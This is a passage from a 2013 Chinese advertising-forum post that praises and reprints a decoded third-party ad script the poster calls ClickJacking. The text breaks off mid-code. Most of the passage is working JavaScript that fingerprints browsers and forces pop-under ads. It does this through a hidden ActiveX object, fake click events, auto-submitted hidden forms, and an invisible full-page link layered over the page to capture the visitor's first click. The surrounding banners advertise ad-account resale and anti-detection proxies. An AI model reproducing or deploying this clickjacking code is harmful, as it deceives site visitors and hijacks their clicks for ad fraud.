AdvertCN - 广告中国

 找回密码
 立即注册

QQ登录

只需一步,快速开始

 谷歌+Bing+TT+MSN官方代理 
⚡️按条S5代理⚡️静态⚡️独享⚡️5G需要代理IP?⚡️Proxysites.ai⚡️指纹浏览器,就用AdsPower
Mediabuy⚡️玩家开户首选【鲁班跨境通-自助充值转账】FB/GG/TT❤️官方免费开户Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理开户投流-7*24h❤️人工在线【官方】❤️搜索套利买量投流开户独立站⚡️开户投放
FB BM不限额,短id账单户E.PN 虚拟卡DuoPlus专注打造跨境电商云手机BINOM TRACKER 60% OFF!
比Adplexity还好用的Spy工具ADPLEXITY + ADVERTCN7200W全球动态不重复住宅IP代理虚拟信用卡+独立站收款
全球虚拟卡, 支持U充值Facebook 批量上广告尤里改 - FB 稳定投放免费黑五教程(持续更新、欢迎交流)
FB 三不限源头 - 自助下户充值转款各种主页、账单户、BM户(优势)⚡️个人户,bm户不限额,账单户IPCola原生住宅IP⚡️$1.8/条双ISP
Google、Bing官方总代  联盟流量开户fb耐用号0.01一个fb账号官方合作商FB资源,账单户,分享户,国内一手
FB企业户BM户账单户源头收FB代投工作室,收TrafficFactory账号FB海外三不限-户源多 费率低PTM全球虚拟卡—进来交个朋友!
PTM虚拟卡⚡️费率透明⚡️额度随心FB虚拟卡⚡️消费越多返现越多虚拟卡 - Pay2.House【找量】BA独家Nutra单找量
广告位出租8500万高质量住宅IP,助力各种需求虚拟卡返佣1%,国内持牌机构 
查看: 16792|回复: 17

[FACEBOOK] 国内也有牛人啊。很有用的。

[复制链接]

126

主题

62

广告币

394

积分

初级会员

Rank: 2

积分
394

社区QQ达人

发表于 2013-12-17 15:03:03 | 显示全部楼层 |阅读模式
Lemft
天星网ClickJacking点击劫持分析
# J7 o! u. N9 g' P! Jhttp://www.21tx.com/ 天星网 3 W  Y0 C2 _; |% z2 y% n
我得联系联系作者
% C$ G/ @* d5 {% ?3 ~9 _% I刚好打开这个站,发现第一次点击会弹窗,然后就不会,清除下COOKIE,又继续了,然后查看源代码,也没什么奇葩的。
$ O2 c% j) S5 C4 B# U1 b( hhttp://www.lxting.com/script/popup/v1_min.js
5 P8 `. N/ R0 A# b8 |
$ Z$ t$ I' f4 ]这个是锁定到底JS脚本,5 p" ]& Q% E" R1 f3 B
解密后的代码
  1. (function() { 4 R2 ]3 \3 {/ W. B- l8 |/ W
  2.     var aa_url = window.ytpp_url; & U5 c2 w9 ?- V- `
  3.     var ua = navigator.userAgent; 9 X4 d* @9 D) J' P. J' k
  4.     var form_div = document.createElement('div'); & a9 M* Y% k8 H
  5.     var form_pd = 0; ( `1 w+ K3 W5 u7 F: L8 c+ z
  6.     var browser = {
    % A1 B! h1 ~& m( t- ?: v6 K
  7.         ie: /msie/i.test(ua),
    5 l6 O* l0 r+ j& h1 i  P
  8.         ie6: /msie 6/i.test(ua), $ X. {2 L" O1 X$ p
  9.         ie7: /msie 7/i.test(ua),
    # P/ \' u: |/ ~9 a2 Y  I
  10.         ie8: /msie 8/i.test(ua),
    + F- e: U! x# o& F" {
  11.         ie9: /msie 9/i.test(ua), 2 j4 B  e/ w5 I6 M& v! J# P
  12.         360 : /360se/i.test(ua),
    3 V  V7 e& J* z1 b
  13.         sogou: /;?se.+?MetaSr/i.test(ua),
    # O' ?$ @  r/ y2 c0 B
  14.         maxthon: /Maxthon/i.test(ua), * @( E) U( r& S: u8 M+ p5 |
  15.         tt: /TencentTraveler/i.test(ua),
    9 z% y0 C. Z/ L1 Z& Y5 ?
  16.         ff: /firefox/i.test(ua),
    6 I' R. ?$ l8 w* Z1 S- b. S# o: E) a
  17.         webkit: /AppleWebKit/i.test(ua),
    7 s+ ]4 C& s/ I" t3 E- h8 B
  18.         opera: /Opera/i.test(ua),
    , l/ k. X! {+ H/ Y& y' ^, s8 k1 O+ c" u
  19.         qqbrowser: /QQBrowser/i.test(ua), 0 g7 A& j: w9 }& A5 x( ~' v9 i4 w
  20.         cr: /chrome/i.test(ua),
    8 A3 k# B+ O% ^6 g, N
  21.         gg: window.chrome,
    . e7 O0 g( ~7 K
  22.         theworld: /Theworld/i.test(ua)
    ( D' B  k; L6 D8 N
  23.     }; ( Y4 r; s8 T2 t. {! |: E
  24.     var _setting = ""; 0 t' x  X% K- P/ o8 `4 m
  25.     var _ct = 0;
    0 g: ^' ^" Q, z) |
  26.     var _le = 0; 0 n" S4 @& C' Q
  27.     var _pd = 1;   U2 o1 H: Q3 d* P5 Y) d# Z9 k
  28.     var _pd2 = 0;
    * o4 f  k5 P8 A' V3 q  T
  29.     var _pc = 1;
    & d( {% n1 s/ H6 a9 }8 m8 H, o
  30.     var _pc2 = 1;
    $ s; p1 v0 t8 u8 b- Y
  31.     var _pco = 0;
    + r2 Q1 ^/ W3 e+ j
  32.     var _pta = 0; 7 a$ J) i# ]# [! X, G
  33.     var _ptb = 0; ' [$ b8 D" S) ]! _2 c: Z7 B; k
  34.     var _pt2a = 0; % I9 M+ d; V4 `" T" T
  35.     var _pt2b = 0;
    7 l# s% |9 D8 N! f* b
  36.     var _pt3a = 0; ( w# I8 \& V! {9 G+ [) G6 G! \$ B
  37.     var _pt3b = 0; 6 X8 U% `% E4 ~3 H4 ]2 W
  38.     var _pt4a = 0; 4 ~3 C+ S5 v8 S! R
  39.     var _pt4b = 0;
    0 z* w8 {0 M1 |  R
  40.     var _pt5a = 0; ! J0 ?+ f) i' c$ }1 l9 s5 i) ~0 n
  41.     var _pt5b = 0; 4 S( t- Z4 @$ y% y# I' `! `1 k
  42.     var _pt6a = 0; ! G1 r6 u* i9 V/ m) g, k. T( y, A
  43.     var _pt6b = 0;
    8 E$ L, p" q4 R$ e, b, ~' o
  44.     var _pt7a = 0; 7 C) L- v3 `( k7 b, x, n8 [
  45.     var _pt7b = 0; % t$ s5 _) \  g; ?* U
  46.     var _pt8a = 0; 6 R0 c* y' B% x: i- L4 j# Y9 o( X! D
  47.     var _pt8b = 0;
    # O4 h0 a. n5 v1 V) i% ]
  48.     var _pt9a = 0; - V/ A; a$ [! \  d# u
  49.     var _pt9b = 0; 2 l; F$ Y' U# b) [4 F+ y
  50.     var _pt10a = 0; # q" }+ q5 z" P5 p# J5 H) A( b
  51.     var _pt10b = 0;
    # b- Q; S2 l. {1 K; W0 S( p4 l
  52.     var _po = 0;
    ! ?* g/ n6 |0 i
  53.     var _poo = 0;
    - k: |& @. k* H6 b; l( [
  54.     var ckn, ckt; 4 D, H" F2 e2 M/ l
  55.     var ads = 0;
    , b0 R# a5 v5 i/ [* v
  56.     function b(w) {   k+ s& `1 J+ r' k1 n4 M" U
  57.         var s = w + "="; : p* \$ Q3 m1 C! R, `9 n5 v' |2 w- p4 k
  58.         var r = "";
    % u, F; B6 C9 i. r. E* W4 A* v% U
  59.         var o = 0;
    0 h9 l1 x+ q0 O
  60.         var d = 0;
    0 D- |0 [0 I) h  F  T+ d
  61.         var p = document.cookie; 1 ]8 V! Y6 e5 }2 W. M- k
  62.         if (document.cookie.length > 0) {
    6 h' }  b7 }9 o' ]3 u1 s% Q
  63.             o = document.cookie.indexOf(s); 4 t# X7 G. `' o3 u+ k
  64.             if (o != -1) { / L1 r" L+ d( F& X
  65.                 o += s.length; 0 n5 H" _# l$ z% s; L
  66.                 d = document.cookie.indexOf(";", o);
    % U2 V$ P1 K, y( D' Z
  67.                 if (d == -1) d = document.cookie.length;
    ) B; H  x, l) d5 U; f. f
  68.                 r = unescape(document.cookie.substring(o, d))
    " K  F& j0 u3 ^4 s+ ]: O3 n
  69.             }
    / U' ]2 y, P  X5 }" K
  70.         } - X( B$ g4 N3 j' C7 W
  71.         return r 1 E9 k8 k; B$ j9 |0 ^. _
  72.     };
    " Z7 }1 k9 Z6 j; x5 a. I
  73.     function p(w, p, v) {
    2 l, @! l" G3 C& q; x7 d- u7 S( z' w  c
  74.         var t = 30; . A& L/ l% I) Q% k
  75.         try { 8 s$ M' e1 L3 F
  76.             t = parseFloat(p) * 1 2 V0 K5 I- d* Y' C+ a# n4 o
  77.         } catch(e) { 9 m; g# x& d! Z  z! J1 X
  78.             t = 30
    , e( N. R+ m- h- s4 {  C+ a, E
  79.         } ) A0 M% c% t6 {+ U* E
  80.         if (isNaN(t)) t = 30;
    9 _! z' w" c0 v2 B5 g9 z
  81.         var then = new Date(); 8 j, `6 Z: K; d* e: a* {- L
  82.         then.setTime(then.getTime() + t * 60 * 1000); + a8 _) b3 M- K0 X
  83.         document.cookie = w + '=' + v + ';expires=' + then.toGMTString() + ';path=/;'; t9 B4 m2 H1 e  k
  84.     };
    : s( y8 b: l# v* h+ F
  85.     function init() {
    6 u9 q  e& H+ @% J( |5 v6 [
  86.         _setting = ytpp_sti; 4 Y, P9 Q' J: C% |& l+ x
  87.         if (getp(_setting, "CT")) {
    . T. Z7 G" @- D; k0 s
  88.             _ct = getp(_setting, "CT") 3 u' @* _# {. u! P. J9 T# v
  89.         } . q, V  ~6 U( I0 _6 ~8 x" b
  90.         if (getp(_setting, "LE")) {
    . Y+ L7 {  @+ ^  b$ w4 M( T# K
  91.             _le = getp(_setting, "LE") 7 w) L$ w0 ^4 |) J6 V
  92.         }
    7 I0 k+ r+ [  u: @% u+ }0 d
  93.         if (getp(_setting, "PD2")) {
    ( k. m( q0 j$ ^: o
  94.             _pd2 = getp(_setting, "PD2")
    : \. w+ u/ R# A8 l0 }
  95.         } / X$ R! p! z* C6 C, N
  96.         if (getp(_setting, "PC2")) {
    ) T. E4 i2 P& \9 c" R
  97.             _pc2 = getp(_setting, "PC2")
    : ]% s* w' D4 P+ z1 j( Z
  98.         }
    / V4 L6 l" r( c& I; q$ h) t
  99.         if (getp(_setting, "PCO")) {
    $ s* t& O4 }$ F& B
  100.             _pco = getp(_setting, "PCO") ( s; l& Q3 q  H( v) f5 `
  101.         }
    3 i$ t7 q8 V0 l: m; H' E7 J/ Y) c- }+ U0 f
  102.         for (var i = 1; i <= 10; i++) {
    : @8 V  d5 \) r8 b: D
  103.             var n = i == 1 ? "": i;
    ; b2 n, b0 c  a* @
  104.             if (getp(_setting, "PT" + n)) { 5 h" I/ `, l1 I3 w; |- w
  105.                 eval("var _pt" + n + " = getp(_setting, 'PT" + n + "').split(',');");
    5 P% h  J- k* ~
  106.                 eval("_pt" + n + "a = _pt" + n + "[0];");
    # N" W3 k5 u' \
  107.                 eval("_pt" + n + "b = _pt" + n + "[1];")
    ; B! ]4 C# g1 M
  108.             } ; T# K; ?7 N6 @; M, b& X0 k" F6 K1 z
  109.         } ; v- H* R9 @$ j5 h0 x2 r$ X
  110.         if (getp(_setting, "PO")) {
    3 Z2 o" _( i" N7 F$ [7 m
  111.             _po = getp(_setting, "PO") " _; {3 {; i0 w* b
  112.         } 7 W: \: C* K6 c
  113.         if (getp(_setting, "POO")) {
    $ t5 S# [7 W$ Z) Y
  114.             _poo = getp(_setting, "POO")
    6 V4 W. V; j6 r# t- V) I
  115.         }
    7 I$ u% R+ |) P
  116.         if (_pco == 1 || _poo == 1) { ) F; O& u* A' ]! t) Q# n: m# R( @
  117.             if (_poo == 1) { 4 \. o" M6 Z1 m  U) @4 C  u
  118.                 _pco = 0
    7 m% P9 i3 @$ `) j
  119.             } else { ) [6 W' Y) N# R; J6 o+ z
  120.                 _poo = 0
    - \% p9 r' r- G0 ]6 }: `( i- v
  121.             } 4 d% v9 s7 P, z
  122.             _pd = _pd2 = _pc = _pc2 = _po = _pta = _ptb = 0;
    0 D" J, c( V% c& S* ]7 d$ m. @
  123.             for (var i = 2; i <= 10; i++) {
    / D/ m5 q; |9 F$ ]
  124.                 eval("_pt" + i + "a = _pt" + i + "b = 0;")
    & \# R' W9 K! ]4 B* ?9 v
  125.             }
    ( T; i' I1 s: o
  126.         } 0 T- V8 M1 v, [/ \
  127.     };
    % h3 V5 ]( _1 a4 P2 H
  128.     function getp(s, p) { ! L" D6 q7 i/ o# V  g, _7 u
  129.         var i = s.indexOf(p + ":"); / |( j2 ~6 P7 b' \- G
  130.         if (i >= 0) { " C7 i0 D9 G; t. l/ h+ K8 e5 ^
  131.             return s.substr(i + p.length + 1, s.substr(i).indexOf(";") - p.length - 1) 2 `2 p: W/ E+ z. n( c, |% ?3 ~
  132.         }
    ' a/ B+ L4 ?% Z9 R6 @
  133.     };
    , Z: _. j% u( f! l9 w" w' F
  134.     function event(e, event, func, act) {
    6 h2 A- P( o; W8 x& u/ R
  135.         if (browser.ie) e[act === undefined ? 'attachEvent': 'detachEvent']('on' + event, func); * Z; f& f9 C3 S  b5 ?; t4 R+ P
  136.         else e[act === undefined ? 'addEventListener': 'removeEventListener'](event, func, false) 5 C9 X1 Q" h) k& I* u# D* e4 g
  137.     }
    * l# {2 m& M4 [- j" F. `4 C
  138.     function pop(url, param) { 9 J0 n) L  P- G
  139.         if (!document.body) {
    ) P& m" ?* y% W+ V3 S2 K; F
  140.             return setTimeout(function() {
    9 F: ?7 _6 p  f3 ^- n! H
  141.                 pop(url, param)
    3 b4 _$ |5 f) R
  142.             },
    5 U1 P) m) V/ u6 n$ L$ c
  143.             13) ; c+ A: v. Q: V5 ]) h: K
  144.         } & F. D  [. J! z
  145.         try { * ^& {3 V- m6 Y5 Z+ d2 v' r
  146.             if (browser['cr'] && browser['gg']) {
    ( S$ W+ a1 t. z) u
  147.                 try {
    & V: ^( Z6 b9 e% E# U
  148.                     hrefopen(url)
    ! |0 F* J1 ]+ f: X8 N
  149.                 } catch(e) {
    4 E! s, Z+ r0 W9 s9 F$ G/ s
  150.                     a_pop(url) 7 C) R, Q- P  i: U& b3 Q8 b* @
  151.                 } 3 v3 s) p7 S: Y
  152.             } else if (browser['webkit'] && browser['maxthon']) {
    ) a, J# m; ]2 l. Z+ D2 H" f
  153.                 if (!func(url)) {
    , ^1 r) _3 V# c
  154.                     try {
    ' h) l5 V  f3 {) a+ E4 ]
  155.                         form_pop(url); 3 `: h+ R8 t; |
  156.                         a_pop(url) : P6 P( j% [( m9 Z1 M& t
  157.                     } catch(e) {}
    ' W6 |7 k0 `, k6 [+ S
  158.                 }
    ) Y0 q. q5 p! R! e! A+ ]# J2 f* }7 Q
  159.             } else if (browser['tt']) {
    2 v5 r4 [' f1 s- D
  160.                 try { 2 f( |" C# Z7 b; U+ d5 H7 @
  161.                     object_pop(url)
    + Z& V$ m- s" X! i% h
  162.                 } catch(e) {
      e) u7 x: r% F! |/ A- M
  163.                     a_pop(url)
    9 t" z) a* m) p
  164.                 } 8 \9 A! t5 N! k8 [
  165.             } else if (browser['sogou']) {
    $ J5 {+ V. ~" D" x
  166.                 if (!func(url)) {
    7 b9 i# f. z) X7 ^
  167.                     try {
    ; f' @% _" C+ ~) b( A
  168.                         a_pop(url) 3 K3 O. b# i9 p+ ?; E
  169.                     } catch(e) {}
    & ?  g/ Q! p9 U- k6 U- D
  170.                 } - L- l, `2 [3 _) g
  171.             } else if (browser['webkit'] && browser['qqbrowser']) { + |6 K! a! Y1 @8 v" u6 F
  172.                 if (!func(url)) { & _8 m  ~8 h9 W1 v6 n' G3 y  h0 g
  173.                     try { & c+ D' m, G1 r
  174.                         form_pop(url) ( \, g% r4 T: t3 z) t2 V; e% t
  175.                     } catch(e) {
    ! S" N$ T- r4 J' s$ w$ F' r
  176.                         click_pop(url) / W# B3 ?5 f/ G0 m* C* N- q
  177.                     } ' E4 i. u! r0 ?: _  F, [* J! ~  V
  178.                 }   ^6 W2 d7 L/ w, Q2 B" l8 a
  179.             } else if (browser['webkit'] || browser['opera']) {
    & b2 t" `6 w+ ^8 I8 A
  180.                 try {
    7 L6 k% j5 [' n; L5 I
  181.                     form_pop(url);
    4 C6 D0 N" I) J0 d( d
  182.                     a_pop(url)
    1 ?9 ]$ Z$ w4 l  r% n. S' y' F( R2 q) j
  183.                 } catch(e) {} / K; U( E8 J3 P# V9 r+ Y
  184.             } else if (browser['theworld'] && browser.ie6) {
    7 j/ `; N/ w" E# K
  185.                 if (!object_pop2(url)) {
    0 T( U- s) |- i) B
  186.                     a_pop(url)
    3 Q. z8 f  K. X
  187.                 }
    : e# R& ~6 x+ ]  r
  188.             } else if (browser['theworld'] && browser.ie8) {
    ( i) n* {8 j6 u& W, z* j
  189.                 if (!func(url)) { 5 K3 {4 U3 A; f6 x$ n$ M
  190.                     try {
    & w" I3 s& |3 ?, J$ k' \2 C7 z1 P
  191.                         object_pop(url)
    4 E% C9 S3 a# i' H; _+ Q# G4 l
  192.                     } catch(e) { ' z6 B8 q( r: W+ N7 e# p
  193.                         click_pop(url)
    3 [/ v8 A3 u4 q- h( S- \
  194.                     }
    : W- c% o. I" E1 w+ J
  195.                 }
    1 c  |7 o+ w- ?0 t' Q( T* n$ Z
  196.             } else if (browser.ie6) {
    2 V# f4 {: h0 \6 q8 p; {
  197.                 if (!func(url)) {
    ( K/ M. \* @2 ~! |0 |# u1 y
  198.                     object_pop2(url) + L3 Q; M+ C4 G3 p. m5 Z
  199.                 }
    4 W+ A# X3 r: }, J* U2 B
  200.             } else if (browser.ie8) {
    ( a8 |8 C5 W( B) J; W5 f( D
  201.                 if (!func(url)) { ! H& I5 T6 n8 h# h' Q" r: t
  202.                     try {
    ! f- }$ F* K& A
  203.                         object_pop(url) 0 n% y: O" Q5 e
  204.                     } catch(e) {
    ( r/ Y1 ]* E" V1 r& a9 ?
  205.                         document.onclick = function() {
    " D' R7 D: F* u8 |5 _! k
  206.                             func(url); 3 m8 v% f: w7 o7 V  j4 T
  207.                             document.onclick = null5 W! ?; O6 O  g! t
  208.                         } ' }- |0 v) z1 x: @
  209.                     }
    $ m, q! R, h+ R8 P6 s& b
  210.                 } 1 U0 I) A% b' L
  211.             } else if (browser['ie']) { : K9 \) W/ v1 {, P
  212.                 try {
    1 y2 C! n8 A# F6 i# s! R
  213.                     object_pop(url)
    ! b6 X8 n% m$ K! t
  214.                 } catch(e) { ! V( T) M, D+ M) ]6 q# y0 Y# t
  215.                     click_pop(url) 3 c6 P) Q; x! n3 V6 ^
  216.                 } 2 G0 J' w- V! D* ]; g0 z* f
  217.             } else if (browser['ff']) { , @. C9 U1 u4 P
  218.                 if (!func(url)) { / J! E* b/ W/ \  Y" {& f, `
  219.                     click_pop(url) 8 p; U0 r! z" j1 h1 E( |5 s
  220.                 } # ~9 n3 h7 E1 j: H& s3 r8 C3 t
  221.             } else { % y+ i6 B0 E# i) a; `# ?
  222.                 if (!func(url)) {
    ; F( m8 r9 M9 l4 V* H9 s4 \
  223.                     click_pop(url) ) C* k5 G2 t4 ]6 Z" e
  224.                 }
    2 s7 ?; z1 B/ m
  225.             } 6 X' J$ d* o8 C5 m' [9 D( B
  226.         } catch(e) {
    $ i4 j- M2 |' Q% M( t% v! N  N
  227.             if (browser.ie7 || browser.ie8 || browser.ie9 || browser['qqbrowser']) {
    5 S4 y5 i+ ?; z" I! `
  228.                 click_pop(url)   `6 W( S& Q# F* U* A+ |2 V
  229.             } else { 7 C7 M8 q% H1 k  v, S
  230.                 a_pop(url)
    3 u% w$ o; d, s5 d  H, A
  231.             }
    : y! O0 m' x( W* t9 |
  232.         } " L, ~: M* e9 I2 y; q
  233.     }
    1 c: Q4 w8 k! s4 p, _& t2 Y( v7 V
  234.     function object_pop(url, param) { 8 q$ A5 }7 f$ H
  235.         var object = document.createElement('object');
    8 s2 u& L+ b6 z; h# M
  236.         object.setAttribute('classid', 'CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6');
    ; I/ N6 l9 v* }# C) W# J
  237.         object.style.cssText = 'position:absolute;left:1px;top:1px;width:1px;height:1px;';
    6 g. B5 h2 t# x4 \+ r  ]
  238.         append(object);
    % I: O" M- d8 ~* `  b+ N& ~
  239.         object.launchURL(url); - {% z9 M- k9 ?7 S
  240.         ads++; 4 ^/ J. |6 ]& W, W" G" x; J" C0 l
  241.         p(ckn, ckt, ads) . N+ O) E. l! I& s" g) o& I4 S
  242.     } & {9 p+ I3 S" C; N! z
  243.     function object_pop2(url, param) { 2 e* L5 N) o7 o0 C; r
  244.         var object2 = document.createElement('object');
    . R  r& x6 p1 Q9 m( f
  245.         object2.setAttribute('classid', 'clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A'); & v; i. r9 n8 z5 W+ g
  246.         object2.style.cssText = 'position:absolute;left:1px;top:1px;width:1px;height:1px;';
    , W; n* L* Y- R* M* E/ x
  247.         append(object2);
      l0 J" D5 y/ L; V, W
  248.         for (var i in object2) { / A# l7 S" K, ^
  249.             try { (function(o) {})(object2[i])
    ! t6 D8 J7 z4 ~1 Y$ d) w+ E; `
  250.             } catch(e) {}
    3 b; K) x8 {- u8 D
  251.         } ! ^9 @4 ]  a4 `% M* J
  252.         setTimeout(function() {
      O1 K2 `  z* C. \( p
  253.             object2.DOM.Script.open(url, '_blank', '')
    7 a' v6 _8 |8 T+ r3 h/ ?8 [
  254.         }, ( Q8 f2 F0 `+ F2 J$ O2 v+ E
  255.         500); 1 ^2 P5 J# d. X5 S: O$ x- h
  256.         ads++;
    1 \; ~4 Q: W0 k4 p& r! F/ E  x" e
  257.         p(ckn, ckt, ads)
    0 W9 p, t/ F( r1 z% h) r
  258.     }
    - d+ E' J$ z& K+ v$ l# T, h4 ]& O
  259.     function append(e) {
    $ k8 z9 b' \! I7 i( z
  260.         for (var t in {
    6 S& |5 a7 T" t3 @% Z2 v
  261.             body: 1 + c% G( Y* i: x+ |0 V
  262.         }) {
    , k% \7 s& k& Z! r
  263.             var ele = document.getElementsByTagName(t);
    + n# i. }- k8 {* o2 e. v5 Q
  264.             for (var i = 0; i < ele.length; i++) {
    ) O1 Y( o1 b' @. M* u, X4 i+ G6 V
  265.                 ele[i].insertBefore(e, ele[i].firstChild); ' s1 ^- u3 _( m. s2 {! W2 h
  266.                 return5 z3 v$ ~; _1 h4 K8 V
  267.             }
    / G& R7 y' U. m- B- J: i
  268.         }
    ; t$ p3 s# K3 ^' O' k4 `
  269.     } # C; w) u+ |/ f8 {$ a: T- j
  270.     function hrefopen(url) {
    5 E: y6 c4 z( o
  271.         try {
    % S2 y! `- e2 V9 b4 {5 s# u* g1 M
  272.             var c = document.createElement("a");
    - {/ O" E0 P3 i
  273.             c.setAttribute("href", url);
    5 n# J2 V! R; F
  274.             c.setAttribute("target", "_blank"); * i3 x  _4 s  Y" O
  275.             c.setAttribute("style", "display:none;"); 4 c5 }3 z; Q, [" B7 X
  276.             var b = document.createEvent("MouseEvents"); - o8 q$ Y6 u& E( x5 i3 ?* {8 X
  277.             b.initMouseEvent("click", false, false, window, 0, 0, 0, 0, 0, true, false, false, false, 0, null);
    & P1 g% u$ v9 O( z
  278.             c.dispatchEvent(b);
    ; @7 H. v4 Q8 O, R4 f2 G/ c2 b
  279.             ads++;
    " g# j$ m% Y( h: o
  280.             p(ckn, ckt, ads);
    9 x& ?3 z0 c* A* h8 x. @
  281.             return true5 u8 y# w. X  |, Q+ ~6 O
  282.         } catch(q) { 9 ^/ b+ G2 O: p2 e$ n
  283.             return false
      j: X3 k* q9 b9 E/ ^3 b( l
  284.         } 5 O# ]" u4 Y7 K; W: }' L$ ~/ p1 U
  285.     }
    ' h2 ~2 A8 m! q
  286.     function form_pop(url) { $ N( O' L" J% a% z0 E
  287.         form_div.setAttribute('id', '__unionsky_push_d_object_box__');
    " N" x, L5 n+ K4 i3 c4 l$ t
  288.         form_div.setAttribute('style', 'display:none'); 8 R: L# B( z2 T# X
  289.         var form = document.createElement('form');
    ) L5 ^7 a7 d' f0 l5 ~
  290.         form.setAttribute('action', aa_url); ) p: S' ~$ \, N6 j, W' u4 |4 N
  291.         form.setAttribute('method', 'post'); 8 k& |7 o& @% x1 t2 Y  |. l9 M
  292.         form.setAttribute('name', '__unionsky_push_d_form_box__');
    , [" ]: s8 J0 \, N+ L
  293.         form.setAttribute('target', '_blank');
    ! h/ @- S, X* J) k5 d1 g+ s
  294.         form.setAttribute('style', 'display:none'); * ^6 @2 L3 x5 s5 g- V* C
  295.         var sinput = document.createElement('input'); ) v& q; p8 M4 U% c) _  H0 e7 z$ {
  296.         sinput.setAttribute('style', 'display:none');   V# J/ j  R! {" |! O- t0 j1 y
  297.         sinput.setAttribute('type', 'submit'); 2 k) y% p9 N$ |% I8 y
  298.         sinput.setAttribute('id', '_sumit_2app'); 2 ^( G3 @* r3 F8 U: p
  299.         form.appendChild(sinput);
    ' `7 j! H; D) r, X7 [$ b% v
  300.         form_div.appendChild(form); 1 Y2 X7 g- e2 t; x
  301.         append(form_div); 6 H. t) j' w; ~1 Z  `  B, M
  302.         var unionsky_from = document.forms["__unionsky_push_d_form_box__"]; ) D2 ]( |" |  n+ O. R( t3 v' j
  303.         try { 2 C* E9 s6 x# D7 {# z
  304.             document.getElementById("_sumit_2app").click() * T$ @4 t  p. \6 X3 r* ?& O8 t, T9 F
  305.         } catch(e) { 5 b  K: ~2 v6 [% w
  306.             event(document, 'keyup', ) ?* K0 l% T( m. h
  307.             function(e) {
    * J  k. Q1 |& K) ], `, ^+ \1 T
  308.                 if (document.getElementById('__unionsky_push_d_object_box__') == null) {
    / F) Y2 ]; _6 K
  309.                     return
    ( l) \( |* A& Y- H" O
  310.                 };
    ) V4 I2 o9 q7 S; P
  311.                 e = e || window.event; * e* ]  E, Z  }3 ?* {8 e  x5 |) a
  312.                 e.canceBubble = true; ' l: k$ k" w+ H. p8 `- e. p
  313.                 event(document, 'keyup', arguments.callee, true); ! f/ J3 |9 c) h4 @4 k, s, b9 ]1 y  \
  314.                 form_pd = 1;
    8 F6 M  p. d3 T& F
  315.                 unionsky_from.submit() : H7 S7 C- F4 \7 [2 C
  316.             })
    & D7 K9 L+ G. l
  317.         }
    6 X$ }, L% ]7 R. M
  318.     }; 9 g2 N( w. e! i3 n, m3 j
  319.     function click_pop(url, param) {
    0 n& L! K4 v6 L; d- ?7 `
  320.         event(document, 'mouseup',
    ) N' t4 B' t4 ]# ]# G
  321.         function(e) { . z" I; F; X! P9 j' e' @
  322.             e = e || window.event; ( I$ |5 F8 u3 A
  323.             e.canceBubble = true; , q$ v, I# o$ P  R) m
  324.             event(document, 'mouseup', arguments.callee, true); 4 W6 {2 m! w2 L' u/ M
  325.             func(url, param);
    ' m6 s" A- z" W5 m6 L+ k
  326.             ads++; $ z3 U6 Z0 I8 L3 V$ \2 k5 p3 b
  327.             p(ckn, ckt, ads) 0 y7 d0 G9 g: J! `0 J7 I0 s
  328.         })
      y0 k2 ^% n0 L
  329.     }; * ?( q# v0 w3 a$ A
  330.     function a_pop(url) {
    : r: G% Q' L. X& Y1 V! W
  331.         if (ytpp_plid == 166028) { 6 x+ |8 i1 U. R& T
  332.             return
    2 U# b0 W' Z' \3 K/ v
  333.         }
    0 m) P$ E4 P) }! W. c. T0 Y1 |8 u1 A
  334.         if (!document.body) {
    . `5 ^1 o8 n. T* D+ U* i
  335.             return setTimeout(function() {
    - u1 _: C; T- F9 Q2 E
  336.                 a_pop(url)
    # }: r/ V) O: f3 V, ~" ^
  337.             }, / \( K/ k7 m$ E  Q& k6 l% i
  338.             13)
    3 S/ f5 w& b. D; G: y: R
  339.         }
    ( |3 x  ^$ N8 q
  340.         var a = document.createElement("a");
    ; t* c7 f, @# S; |+ d7 s8 b! L- f
  341.         a.href = url; ! P: y4 B% H  M' q
  342.         a.target = "_blank";
    0 @1 M0 k" I3 d0 O3 [
  343.         var div = document.createElement('div'); , X1 G* Z# l% j! X
  344.         div.style.backgroundColor = '#fff'; 2 L& Y7 @; g- e& j0 `6 j
  345.         a.appendChild(div);
    $ D  J- {9 X7 L. L4 d$ g# G
  346.         append(a);
    ' D0 i! x- d5 h9 r1 O
  347.         var as = a.style;
    / Z, z: \6 f2 ?/ I/ S6 H& s
  348.         as.position = "absolute"; 5 I9 A: w! ]. m- m" z8 s
  349.         as.zIndex = '2147483647'; 4 g8 A5 v3 h! y. o$ q9 E9 \
  350.         as.display = "block"; 8 C' T' g' f, x2 j/ d, }
  351.         as.top = "0px"; 1 J  k+ R6 l3 ~
  352.         as.left = "0px";
    0 q$ x  y1 [3 j# r2 a& {4 U! X
  353.         as.cursor = 'default'; - x, Z7 Q2 I$ {# }) z' x# D9 w4 P
  354.         as.opacity = "0"; 6 _" j& e! S1 @6 D5 M* j8 k
  355.         as.filter = "alpha(opacity:0)";
    4 P; ~6 @+ a$ b) F( H9 W2 Z- d
  356.         var m = setInterval(function() {
    $ [* r- E0 t: s" T; m3 A
  357.             if (form_pd == 1) { ! k# K3 y% B& f% ~3 k; E
  358.                 a.parentNode.removeChild(a); * I9 @$ w" T5 O
  359.                 clearInterval(m); 7 Y" P2 O# |  n1 [# ~
  360.                 return
    : l0 R5 l2 r& |/ B) \
  361.             } , C9 T, o/ Y( L6 A4 f' H6 D  B2 ]
  362.             a.style.zIndex = '2147483647';
    ( [) O" v& `; p) d9 X+ v1 Y' T. B6 F
  363.             var d = (document.compatMode.toLowerCase() == 'css1compat') ? document.documentElement: document.body; 4 |/ I' Q( w# E( ~/ r
  364.             a.style.top = Math.max(document.documentElement.scrollTop, document.body.scrollTop) + 'px';
    % V; S( c2 @' i1 _8 n: |7 g
  365.             div.style.width = Math.min(d.clientWidth, d.scrollWidth) + 'px'; 9 o2 O+ B( j* J+ D9 q5 q- |) _
  366.             div.style.height = d.clientHeight + 'px'; 0 u1 x) _; f: n% j
  367.             if (browser['ie']) { ' A" k% L' P1 [
  368.                 try {
    ! ~8 R  D* \1 I) w( n! W! s* w. M, W! U
  369.                     var divs = document.body.childNodes;
    ; F: n2 {) V4 h1 {: f( @2 r* ?
  370.                     for (var i = 0; i < divs.length; i++) { + k5 `% P+ g/ V
  371.                         if (!divs[i]['style']) { " U( K3 M8 j% `1 X
  372.                             continue
    0 {  q. \5 V! \% S" @! r$ ~( |
